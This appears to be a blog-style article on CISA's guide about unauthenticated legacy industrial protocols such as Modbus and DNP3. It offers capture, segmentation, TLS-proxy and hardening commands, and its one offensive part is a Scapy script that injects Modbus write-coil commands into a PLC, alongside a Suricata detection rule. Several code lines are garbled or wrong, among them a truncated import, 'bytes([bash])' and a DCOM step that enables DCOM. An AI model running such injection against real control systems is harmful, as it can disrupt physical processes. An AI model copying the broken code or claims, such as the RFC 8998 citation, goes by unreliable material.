CISA ‘Johnny Can’t Authenticate’ Deep Dive: Why Legacy OT Protocols Are the Silent Critical Infrastructure Killer

Listen to this Post

Featured Image

Introduction:

The Cybersecurity and Infrastructure Security Agency (CISA) recently released a stark reality check titled Barriers to Secure OT Communications: Why Johnny Can’t Authenticate. For over two decades, secure versions of industrial protocols have existed, yet Water, Energy, and Transportation sectors remain tethered to legacy protocols lacking basic authentication or integrity checks. This gap allows adversaries to trivially impersonate devices or inject malicious commands. This article dissects the technical anatomy of these failures, provides concrete commands to test for these weaknesses, and maps out migration steps toward authenticated, encrypted operational technology (OT) communication.

Learning Objectives:

  • Identify five legacy OT protocols that transmit in cleartext with zero authentication.
  • Execute passive and active reconnaissance to detect unauthenticated industrial traffic.
  • Implement protocol upgrades (e.g., Modbus/TLS, DNSSEC) and network segmentation using open-source tools.
  • Harden Windows-based HMI/engineering workstations against protocol spoofing.
  • Apply NIST 800-53 AC-17 (Remote Access) and SC-8 (Transmission Confidentiality) controls in OT contexts.

You Should Know:

  1. The Legacy Protocol Trap: Why Modbus, DNP3, and IEC 60870-5-101 Are Still Dangerous

Many OT environments still run Modbus RTU/TCP, DNP3, or Profinet without transport layer security. These protocols were designed for serial links in air-gapped networks and prioritize availability over confidentiality. However, modern connectivity exposes them.

Step‑by‑step guide: Detecting cleartext OT protocols with tcpdump and Wireshark (Linux)

 Capture traffic on the OT network interface (e.g., eth0) filtering for common unauthenticated ports
sudo tcpdump -i eth0 -n -s 0 -w ot_capture.pcap 'port 502 or port 20000 or port 102 or port 2404 or port 44818'

– Port 502: Modbus/TCP
– Port 20000: DNP3 (often)
– Port 102: Siemens S7 (ISO-TSAP)
– Port 2404: IEC 60870-5-104
– Port 44818: Ethernet/IP (CIP)

Open `ot_capture.pcap` in Wireshark. Right-click a Modbus packet → Follow → TCP Stream. If you see human-readable function codes (e.g., 0x03 Read Holding Registers) and register values, there is zero authentication—any device on the network can query or write.

Windows equivalent (PowerShell – requires NPcap/WinPcap and Pktmon):

 Start packet capture on all interfaces filtering Modbus port
pktmon filter add -p 502
pktmon start --etw -p 0 -l real-time -f modbus.etl
 Stop after 60 seconds with Ctrl+C, then convert
pktmon etl2txt modbus.etl

Search output for “03” or “06” (Write Single Register) function codes.

  1. Authenticated Replacement Protocols: Migration to Modbus/TLS and IEC 62351

IEC 62351 defines security for IEC 60870 and DNP3, while Modbus/TLS (via RFC 8998) wraps Modbus in TLS. However, many PLCs lack firmware support.

Step‑by‑step guide: Proxying legacy Modbus to Modbus/TLS with Modbus Gateway (Linux)

Using `socat` to create a TLS termination proxy:

 Generate self-signed certificate (for testing only)
openssl req -x509 -newkey rsa:2048 -keyout mbkey.pem -out mbcert.pem -days 365 -nodes

Run socat to listen on TLS 802 and forward cleartext to PLC at 192.168.1.10:502
socat OPENSSL-LISTEN:802,cert=mbcert.pem,verify=0,fork TCP:192.168.1.10:502

HMIs reconfigured to connect to `localhost:802` now have encrypted channel. For production, use trusted CA certs and mutual authentication.

  1. Network Segmentation: Surgical ACLs and VLANs to Isolate Insecure Devices

If legacy devices cannot be upgraded, they must be contained. The Purdue Model places OT devices in Level 0–2, with strict Layer 3/4 filtering.

Step‑by‑step guide: Implementing VLAN ACLs on Cisco IOS for OT cells

! Create VLAN for a specific water treatment skid
vlan 200
name OT_Chemical_Injector

! Interface to switch port connecting PLC
interface GigabitEthernet0/10
switchport mode access
switchport access vlan 200

! ACL to allow ONLY HMI to talk Modbus to PLC, block everything else
ip access-list extended OT-ACL
permit tcp host 10.10.200.10 host 10.10.200.20 eq 502
deny tcp any any eq 502
deny udp any any eq 44818
permit ip any any ! Only if needed for other services; better to deny all else
!
interface Vlan200
ip access-group OT-ACL in
ip access-group OT-ACL out

Verify with `show access-list OT-ACL`.

  1. Windows Hardening: Disabling Insecure DCOM and SMBv1 on HMI Workstations

Engineering workstations often run old OPC-DCOM (RPC dynamic ports) which is notoriously insecure. Attackers exploit DCOM to move laterally.

Step‑by‑step guide: Securing OPC Classic with DCOM hardening (Windows)

 Run as Administrator. Restrict DCOM remote launch/activation
$dcom = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Ole"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Ole" -Name "EnableDCOM" -Value "Y"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Ole" -Name "LegacyAuthenticationLevel" -Value 2
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Ole" -Name "LegacyImpersonationLevel" -Value 3
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Ole" -Name "DefaultLaunchPermission" -Value "O:BAG:BAD:(A;;CCDCSDCLC;;;BA)(A;;CCDCSDCLC;;;SY)"

Disable SMBv1 (common in older HMI file shares)
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

Reboot required. Then validate with:

Get-SmbServerConfiguration | Select EnableSMB1Protocol

5. Vulnerability Exploitation & Mitigation: Man-in-the-Middle Modbus Injection

To prove risk to management, ethical testing with a simple Modbus write injection demonstrates the impact.

Step‑by‑step guide: Using Scapy to inject a coil write (Linux)

!/usr/bin/env python3
from scapy.all import 
def modbus_write_coil(ip, unit=1, coil_addr=0, value=True):
"""Craft Modbus/TCP packet with write single coil (FC=5)"""
trans_id = random.randint(1,65535)
proto_id = 0
length = 6
unit_id = unit
func_code = 5
 Coil address high/low, value: 0xFF00 = ON, 0x0000 = OFF
data = struct.pack('>HH', coil_addr, 0xFF00 if value else 0x0000)
pkt = IP(dst=ip)/TCP(dport=502, sport=RandShort())/Raw(load=struct.pack('>HHHB', trans_id, proto_id, length, unit_id) + bytes([bash]) + data)
send(pkt, verbose=False)
print(f"Injected write coil {coil_addr} -> {value} to {ip}")
modbus_write_coil("192.168.1.10", coil_addr=1, value=False)

Mitigation: Deploy IDS rules (e.g., Suricata) to alert on unauthorized Modbus function codes. Example Suricata rule:

alert tcp any any -> any 502 (msg:"Modbus Write Coil from unauthorized source"; flow:to_server,established; content:"|05|"; depth:1; within:1; sid:1000001;)
  1. API Security in Converged IT/OT: Securing Historian REST APIs

Modern historians expose OT data via REST APIs. Without authentication, they leak real-time process values.

Step‑by‑step guide: Adding JWT authentication to an open historian endpoint (NGINX reverse proxy)

location /api/historian/ {
auth_request /auth;
proxy_pass http://10.0.0.50:8080;
}
location = /auth {
internal;
proxy_pass http://auth-server:8000/auth;
proxy_pass_request_body off;
proxy_set_header Content-Length "";
proxy_set_header X-Original-URI $request_uri;
}

Force HTTPS with TLS 1.3:

ssl_protocols TLSv1.3;
ssl_ciphers TLS13+AESGCM+AES256;
  1. Cloud Hardening: IoT Hub to OT Device Communication with Azure Defender

Many OT deployments now backhaul data to Azure IoT Hub. Unauthenticated D2C messages can be spoofed.

Step‑by‑step guide: Enforcing X.509 certificate authentication on Azure IoT Edge

 Generate device certificate
openssl ecparam -genkey -name prime256v1 -out device.key
openssl req -new -key device.key -out device.csr
 Sign with IoT Hub CA (simulated with CA cert)
openssl x509 -req -in device.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out device.crt -days 365

Configure connection string in /etc/aziot/config.toml
[bash]
source = "manual"
connection_string = "HostName=myhub.azure-devices.net;DeviceId=PLC1;x509=true"
certificates = { device = "/etc/aziot/device.crt", device_key = "/etc/aziot/device.key" }

Validate that unauthenticated connections are rejected by checking Azure Monitor logs for AuthenticationType != "X.509".

What Undercode Say:

  • Key Takeaway 1: The “Johnny” problem in OT is not a lack of standards, but a lack of vendor usability and asset owner leverage. Until procurement contracts mandate IEC 62351 and Modbus/TLS, legacy protocols will remain exploitable.
  • Key Takeaway 2: Defensive depth is non-negotiable. While upgrading protocols is ideal, aggressive segmentation, host-based firewalls, and passive monitoring provide immediate ROI.

The analysis of CISA’s guide reveals a painful truth: engineers have known how to fix this for 20 years, yet industrial control systems remain wide open because “it works” and “we’ve always done it this way.” Asset owners must start demanding authenticated encryption by default. The tools demonstrated—from packet capture to TLS proxying—are free and mature. The barrier is no longer technical; it is bureaucratic. Security professionals must translate these commands into board-level risk language.

Prediction:

Within the next 24 months, a major ransomware group will weaponize these unauthenticated OT protocols in a hybrid attack. They will not need zero-days; they will use Modbus injection to cause physical destruction during the dwell time of IT ransomware deployment. This will force regulators to mandate the very protocol upgrades that have been voluntary since 2003. CISA’s guide will be retroactively viewed as the final warning before mandatory compliance.

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Patrick Johnson – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky